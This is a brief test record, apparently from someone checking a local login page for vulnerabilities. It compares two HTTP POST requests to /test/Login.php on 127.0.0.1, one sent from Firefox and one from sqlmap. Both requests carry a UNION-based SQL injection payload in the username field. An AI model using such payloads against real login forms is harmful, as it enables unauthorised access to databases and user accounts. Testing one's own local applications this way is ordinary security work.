vul test

---Firefox---

POST /test/Login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/test/Login.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

username=lol%27+UNION+ALL+SELECT+NULL%2CNULL%23&password=lol


---sqlmap---

POST /test/Login.php HTTP/1.1
Content-Length: 64
Accept-Encoding: gzip,deflate
Connection: close
Accept: */*
User-Agent: sqlmap/1.0.11#stable (http://sqlmap.org)
Host: 127.0.0.1
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8

user=lol%27%20UNION%20ALL%20SELECT%20NULL%2CNULL%23&password=lol